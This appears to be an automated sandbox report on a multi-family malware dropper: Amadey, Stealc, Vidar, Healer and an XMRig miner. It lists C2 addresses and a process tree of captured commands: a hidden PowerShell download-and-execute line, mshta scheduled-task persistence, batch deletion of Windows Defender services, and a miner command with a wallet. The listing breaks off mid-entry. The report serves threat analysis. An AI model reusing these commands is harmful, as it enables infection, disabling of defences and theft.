Overview

overview

10

Static

static

5

86fdd59d00...4a.exe

windows7-x64

10

86fdd59d00...4a.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    86s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/03/2025, 09:07

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe

  • Size

    938KB

  • MD5

    278fa6cdc2189c33b3cf59614d6d9e7f

  • SHA1

    f382716bf5dc31ee6cdac0a1f9890a5164d0c18e

  • SHA256

    86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a

  • SHA512

    76cdd7a6b9e45ae8413f60e0369d045bfd1bfc3e879e0fac54c1303d312813380dc8907aeaf5e6525b47aa9c3768bac99c58fd1f7a2a38f5f193b5d55ebbf9c6

  • SSDEEP

    24576:eqDEvCTbMWu7rQYlBQcBiT6rprG8a0uu:eTvC/MTQYxsWR7a0u

Score
10/10
amadeygcleanerhealerstealcvidarxmrig092155trumpcredential_accessdefense_evasiondiscoverydropperevasionexecutionexploitloaderminerpersistencespywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detect Vidar Stealer 7 IoCs
    stealer
  • Detects Healer an antivirus disabler dropper 3 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Modifies security service 2 TTPs 2 IoCs
    defense_evasion
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Vidar family
    vidar
  • XMRig Miner payload 2 IoCs
    miner
  • Xmrig family
    xmrig
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 9 IoCs
    defense_evasion
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file 12 IoCs
  • Possible privilege escalation attempt 2 IoCs
    exploit
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Uses browser remote debugging 2 TTPs 13 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks BIOS information in registry 2 TTPs 16 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 8 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 19 IoCs
  • Identifies Wine through registry keys 2 TTPs 9 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 9 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates processes with tasklist 1 TTPs 6 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 38 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
    defense_evasion
  • Kills process with taskkill 6 IoCs
    defense_evasion
  • Modifies registry class 1 IoCs
  • Modifies registry key 1 TTPs 8 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of FindShellTrayWindow 46 IoCs
  • Suspicious use of SendNotifyMessage 37 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe
    "C:\Users\Admin\AppData\Local\Temp\86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1332
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn DDYYQmaYOEC /tr "mshta C:\Users\Admin\AppData\Local\Temp\jAUKazy4s.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4544
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn DDYYQmaYOEC /tr "mshta C:\Users\Admin\AppData\Local\Temp\jAUKazy4s.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:4636
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\jAUKazy4s.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2044
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'II4S27SZXSQRE4ZW0GRIEYVVTVDGGGK4.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1892
        • C:\Users\Admin\AppData\Local\TempII4S27SZXSQRE4ZW0GRIEYVVTVDGGGK4.EXE
          "C:\Users\Admin\AppData\Local\TempII4S27SZXSQRE4ZW0GRIEYVVTVDGGGK4.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:924
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:756
            • C:\Users\Admin\AppData\Local\Temp\10313630101\cUpXaxB.exe
              "C:\Users\Admin\AppData\Local\Temp\10313630101\cUpXaxB.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2580
            • C:\Users\Admin\AppData\Local\Temp\10314650101\apple.exe
              "C:\Users\Admin\AppData\Local\Temp\10314650101\apple.exe"
              6⤵
              • Checks computer location settings
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1840
              • C:\Users\Admin\AppData\Local\Temp\11.exe
                "C:\Users\Admin\AppData\Local\Temp\11.exe"
                7⤵
                • Checks computer location settings
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4828
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\14FA.tmp\14FB.tmp\14FC.bat C:\Users\Admin\AppData\Local\Temp\11.exe"
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4624
                  • C:\Users\Admin\AppData\Local\Temp\11.exe
                    "C:\Users\Admin\AppData\Local\Temp\11.exe" go
                    9⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:4844
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\16BF.tmp\16C0.tmp\16C1.bat C:\Users\Admin\AppData\Local\Temp\11.exe go"
                      10⤵
                      • Drops file in Program Files directory
                      • Suspicious use of WriteProcessMemory
                      PID:4848
                      • C:\Windows\system32\sc.exe
                        sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
                        11⤵
                        • Launches sc.exe
                        PID:4796
                      • C:\Windows\system32\sc.exe
                        sc start ddrver
                        11⤵
                        • Launches sc.exe
                        PID:4108
                      • C:\Windows\system32\timeout.exe
                        timeout /t 1
                        11⤵
                        • Delays execution with timeout.exe
                        PID:4632
                      • C:\Windows\system32\sc.exe
                        sc stop ddrver
                        11⤵
                        • Launches sc.exe
                        PID:2144
                      • C:\Windows\system32\sc.exe
                        sc start ddrver
                        11⤵
                        • Launches sc.exe
                        PID:1404
                      • C:\Windows\system32\takeown.exe
                        takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
                        11⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        PID:2132
                      • C:\Windows\system32\icacls.exe
                        icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
                        11⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        PID:3232
                      • C:\Windows\system32\sc.exe
                        sc stop "WinDefend"
                        11⤵
                        • Launches sc.exe
                        PID:2868
                      • C:\Windows\system32\sc.exe
                        sc delete "WinDefend"
                        11⤵
                        • Launches sc.exe
                        PID:936
                      • C:\Windows\system32\reg.exe
                        reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
                        11⤵
                          PID:3400
                        • C:\Windows\system32\sc.exe
                          sc stop "MDCoreSvc"
                          11⤵
                          • Launches sc.exe
                          PID:1500
                        • C:\Windows\system32\sc.exe
                          sc delete "MDCoreSvc"
                          11⤵
                          • Launches sc.exe
                          PID:2944
                        • C:\Windows\system32\reg.exe
                          reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
                          11⤵
                            PID:1132
                          • C:\Windows\system32\sc.exe
                            sc stop "WdNisSvc"
                            11⤵
                            • Launches sc.exe
                            PID:1848
                          • C:\Windows\system32\sc.exe
                            sc delete "WdNisSvc"
                            11⤵
                            • Launches sc.exe
                            PID:4080
                          • C:\Windows\system32\reg.exe
                            reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
                            11⤵
                              PID:3652
                            • C:\Windows\system32\sc.exe
                              sc stop "Sense"
                              11⤵
                              • Launches sc.exe
                              PID:3792
                            • C:\Windows\system32\sc.exe
                              sc delete "Sense"
                              11⤵
                              • Launches sc.exe
                              PID:1452
                            • C:\Windows\system32\reg.exe
                              reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
                              11⤵
                                PID:1204
                              • C:\Windows\system32\sc.exe
                                sc stop "wscsvc"
                                11⤵
                                • Launches sc.exe
                                PID:1220
                              • C:\Windows\system32\sc.exe
                                sc delete "wscsvc"
                                11⤵
                                • Launches sc.exe
                                PID:4620
                              • C:\Windows\system32\reg.exe
                                reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
                                11⤵
                                • Modifies security service
                                PID:1392
                              • C:\Windows\system32\sc.exe
                                sc stop "SgrmBroker"
                                11⤵
                                • Launches sc.exe
                                PID:2924
                              • C:\Windows\system32\sc.exe
                                sc delete "SgrmBroker"
                                11⤵
                                • Launches sc.exe
                                PID:372
                              • C:\Windows\system32\reg.exe
                                reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
                                11⤵
                                  PID:2752
                                • C:\Windows\system32\sc.exe
                                  sc stop "SecurityHealthService"
                                  11⤵
                                  • Launches sc.exe
                                  PID:4528
                                • C:\Windows\system32\sc.exe
                                  sc delete "SecurityHealthService"
                                  11⤵
                                  • Launches sc.exe
                                  PID:988
                                • C:\Windows\system32\reg.exe
                                  reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
                                  11⤵
                                    PID:1652
                                  • C:\Windows\system32\sc.exe
                                    sc stop "webthreatdefsvc"
                                    11⤵
                                    • Launches sc.exe
                                    PID:3332
                                  • C:\Windows\system32\sc.exe
                                    sc delete "webthreatdefsvc"
                                    11⤵
                                    • Launches sc.exe
                                    PID:908
                                  • C:\Windows\system32\reg.exe
                                    reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
                                    11⤵
                                      PID:3348
                                    • C:\Windows\system32\sc.exe
                                      sc stop "webthreatdefusersvc"
                                      11⤵
                                      • Launches sc.exe
                                      PID:1812
                                    • C:\Windows\system32\sc.exe
                                      sc delete "webthreatdefusersvc"
                                      11⤵
                                      • Launches sc.exe
                                      PID:1528
                                    • C:\Windows\system32\reg.exe
                                      reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
                                      11⤵
                                        PID:4852
                                      • C:\Windows\system32\sc.exe
                                        sc stop "WdNisDrv"
                                        11⤵
                                        • Launches sc.exe
                                        PID:2772
                                      • C:\Windows\system32\sc.exe
                                        sc delete "WdNisDrv"
                                        11⤵
                                        • Launches sc.exe
                                        PID:3988
                                      • C:\Windows\system32\reg.exe
                                        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
                                        11⤵
                                          PID:2852
                                        • C:\Windows\system32\sc.exe
                                          sc stop "WdBoot"
                                          11⤵
                                          • Launches sc.exe
                                          PID:2976
                                        • C:\Windows\system32\sc.exe
                                          sc delete "WdBoot"
                                          11⤵
                                          • Launches sc.exe
                                          PID:3480
                                        • C:\Windows\system32\reg.exe
                                          reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
                                          11⤵
                                            PID:4048
                                          • C:\Windows\system32\sc.exe
                                            sc stop "WdFilter"
                                            11⤵
                                            • Launches sc.exe
                                            PID:1488
                                          • C:\Windows\system32\sc.exe
                                            sc delete "WdFilter"
                                            11⤵
                                            • Launches sc.exe
                                            PID:2364
                                          • C:\Windows\system32\reg.exe
                                            reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
                                            11⤵
                                              PID:4196
                                            • C:\Windows\system32\sc.exe
                                              sc stop "SgrmAgent"
                                              11⤵
                                              • Launches sc.exe
                                              PID:4880
                                            • C:\Windows\system32\sc.exe
                                              sc delete "SgrmAgent"
                                              11⤵
                                              • Launches sc.exe
                                              PID:2656
                                            • C:\Windows\system32\reg.exe
                                              reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
                                              11⤵
                                                PID:4512
                                              • C:\Windows\system32\sc.exe
                                                sc stop "MsSecWfp"
                                                11⤵
                                                • Launches sc.exe
                                                PID:4672
                                              • C:\Windows\system32\sc.exe
                                                sc delete "MsSecWfp"
                                                11⤵
                                                • Launches sc.exe
                                                PID:2876
                                              • C:\Windows\system32\reg.exe
                                                reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
                                                11⤵
                                                  PID:452
                                                • C:\Windows\system32\sc.exe
                                                  sc stop "MsSecFlt"
                                                  11⤵
                                                  • Launches sc.exe
                                                  PID:3124
                                                • C:\Windows\system32\sc.exe
                                                  sc delete "MsSecFlt"
                                                  11⤵
                                                  • Launches sc.exe
                                                  PID:1976
                                                • C:\Windows\system32\reg.exe
                                                  reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
                                                  11⤵
                                                    PID:4732
                                                  • C:\Windows\system32\sc.exe
                                                    sc stop "MsSecCore"
                                                    11⤵
                                                    • Launches sc.exe
                                                    PID:5084
                                                  • C:\Windows\system32\sc.exe
                                                    sc delete "MsSecCore"
                                                    11⤵
                                                    • Launches sc.exe
                                                    PID:2956
                                                  • C:\Windows\system32\reg.exe
                                                    reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
                                                    11⤵
                                                      PID:3120
                                                    • C:\Windows\system32\schtasks.exe
                                                      schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
                                                      11⤵
                                                        PID:4348
                                                      • C:\Windows\system32\schtasks.exe
                                                        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
                                                        11⤵
                                                          PID:1740
                                                        • C:\Windows\system32\schtasks.exe
                                                          schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
                                                          11⤵
                                                            PID:3096
                                                          • C:\Windows\system32\schtasks.exe
                                                            schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
                                                            11⤵
                                                              PID:3832
                                                            • C:\Windows\system32\sc.exe
                                                              sc stop ddrver
                                                              11⤵
                                                              • Launches sc.exe
                                                              PID:4244
                                                            • C:\Windows\system32\sc.exe
                                                              sc delete ddrver
                                                              11⤵
                                                              • Launches sc.exe
                                                              PID:3452
                                                  • C:\Users\Admin\AppData\Local\Temp\10317340101\Jq0hGDZ.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\10317340101\Jq0hGDZ.exe"
                                                    6⤵
                                                    • Executes dropped EXE
                                                    PID:1884
                                                    • C:\Windows\system32\reg.exe
                                                      reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /s
                                                      7⤵
                                                      • Modifies registry key
                                                      PID:1392
                                                    • C:\Windows\system32\reg.exe
                                                      reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Microsoft Windows Service 8229" /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\10317340101\Jq0hGDZ.exe\" /f
                                                      7⤵
                                                      • Adds Run key to start application
                                                      • Modifies registry key
                                                      PID:2732
                                                    • C:\Windows\system32\reg.exe
                                                      reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run /v "Microsoft Windows Service 8229" /t REG_BINARY /d 020000000000000000000000 /f
                                                      7⤵
                                                      • Modifies registry key
                                                      PID:4728
                                                    • C:\Windows\system32\reg.exe
                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunNotification /v "StartupTNotiMicrosoft Windows Service 8229" /t REG_DWORD /d 1 /f
                                                      7⤵
                                                      • Modifies registry key
                                                      PID:2828
                                                  • C:\Users\Admin\AppData\Local\Temp\10318740101\84c9895e7a.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\10318740101\84c9895e7a.exe"
                                                    6⤵
                                                    • Executes dropped EXE
                                                    • System Location Discovery: System Language Discovery
                                                    • Suspicious use of FindShellTrayWindow
                                                    • Suspicious use of SendNotifyMessage
                                                    PID:2724
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c schtasks /create /tn 5i19imaw9TS /tr "mshta C:\Users\Admin\AppData\Local\Temp\TMhqOAnRR.hta" /sc minute /mo 25 /ru "Admin" /f
                                                      7⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:1184
                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                        schtasks /create /tn 5i19imaw9TS /tr "mshta C:\Users\Admin\AppData\Local\Temp\TMhqOAnRR.hta" /sc minute /mo 25 /ru "Admin" /f
                                                        8⤵
                                                        • System Location Discovery: System Language Discovery
                                                        • Scheduled Task/Job: Scheduled Task
                                                        PID:3796
                                                    • C:\Windows\SysWOW64\mshta.exe
                                                      mshta C:\Users\Admin\AppData\Local\Temp\TMhqOAnRR.hta
                                                      7⤵
                                                      • Checks computer location settings
                                                      • System Location Discovery: System Language Discovery
                                                      PID:1848
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'QSYMROVXIDJNXYYOAL33DJHYUDXWM7HQ.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                                                        8⤵
                                                        • Blocklisted process makes network request
                                                        • Command and Scripting Interpreter: PowerShell
                                                        • Downloads MZ/PE file
                                                        • System Location Discovery: System Language Discovery
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:1220
                                                        • C:\Users\Admin\AppData\Local\TempQSYMROVXIDJNXYYOAL33DJHYUDXWM7HQ.EXE
                                                          "C:\Users\Admin\AppData\Local\TempQSYMROVXIDJNXYYOAL33DJHYUDXWM7HQ.EXE"
                                                          9⤵
                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                          • Checks BIOS information in registry
                                                          • Executes dropped EXE
                                                          • Identifies Wine through registry keys
                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                          • System Location Discovery: System Language Discovery
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:3788
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10318750121\am_no.cmd" "
                                                    6⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:5064
                                                    • C:\Windows\SysWOW64\timeout.exe
                                                      timeout /t 2
                                                      7⤵
                                                      • System Location Discovery: System Language Discovery
                                                      • Delays execution with timeout.exe
                                                      PID:3184
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                                                      7⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:4136
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                                                        8⤵
                                                        • Command and Scripting Interpreter: PowerShell
                                                        • System Location Discovery: System Language Discovery
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:4828
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                                                      7⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:1032
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                                                        8⤵
                                                        • Command and Scripting Interpreter: PowerShell
                                                        • System Location Discovery: System Language Discovery
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:2204
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                                                      7⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:3732
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                                                        8⤵
                                                        • Command and Scripting Interpreter: PowerShell
                                                        • System Location Discovery: System Language Discovery
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:2976
                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                      schtasks /create /tn "86ns3maHsoJ" /tr "mshta \"C:\Temp\BKPOv9yMq.hta\"" /sc minute /mo 25 /ru "Admin" /f
                                                      7⤵
                                                      • System Location Discovery: System Language Discovery
                                                      • Scheduled Task/Job: Scheduled Task
                                                      PID:3412
                                                    • C:\Windows\SysWOW64\mshta.exe
                                                      mshta "C:\Temp\BKPOv9yMq.hta"
                                                      7⤵
                                                      • Checks computer location settings
                                                      • System Location Discovery: System Language Discovery
                                                      PID:2112
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                                                        8⤵
                                                        • Blocklisted process makes network request
                                                        • Command and Scripting Interpreter: PowerShell
                                                        • Downloads MZ/PE file
                                                        • System Location Discovery: System Language Discovery
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:3460
                                                        • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                                                          9⤵
                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                          • Checks BIOS information in registry
                                                          • Executes dropped EXE
                                                          • Identifies Wine through registry keys
                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                          • System Location Discovery: System Language Discovery
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:3832
                                                  • C:\Users\Admin\AppData\Local\Temp\10318860101\QL4t9UZ.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\10318860101\QL4t9UZ.exe"
                                                    6⤵
                                                    • Executes dropped EXE
                                                    • Adds Run key to start application
                                                    • Modifies system certificate store
                                                    PID:2444
                                                    • C:\Windows\system32\tasklist.exe
                                                      tasklist
                                                      7⤵
                                                      • Enumerates processes with tasklist
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:1900
                                                    • C:\Users\Admin\AppData\Roaming\winhost\winhost.exe
                                                      C:\Users\Admin\AppData\Roaming\winhost\winhost.exe --donate-level 2 -o pool.hashvault.pro:443 -u 494k9WqKJKFGDoD9MfnAcjEDcrHMmMNJTUun8rYFRYyPHyoHMJf5sesH79UoM8VfoGYevyzthG86r5BTGYZxmhENTzKajL3 -k -p x --cpu-max-threads-hint=20
                                                      7⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      • Suspicious use of FindShellTrayWindow
                                                      PID:3304
                                                    • C:\Windows\system32\tasklist.exe
                                                      tasklist
                                                      7⤵
                                                      • Enumerates processes with tasklist
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:1376
                                                    • C:\Windows\system32\tasklist.exe
                                                      tasklist
                                                      7⤵
                                                      • Enumerates processes with tasklist
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:3168
                                                    • C:\Windows\system32\taskkill.exe
                                                      taskkill /F /IM winhost.exe
                                                      7⤵
                                                      • Kills process with taskkill
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:4848
                                                    • C:\Users\Admin\AppData\Roaming\winhost\winhost.exe
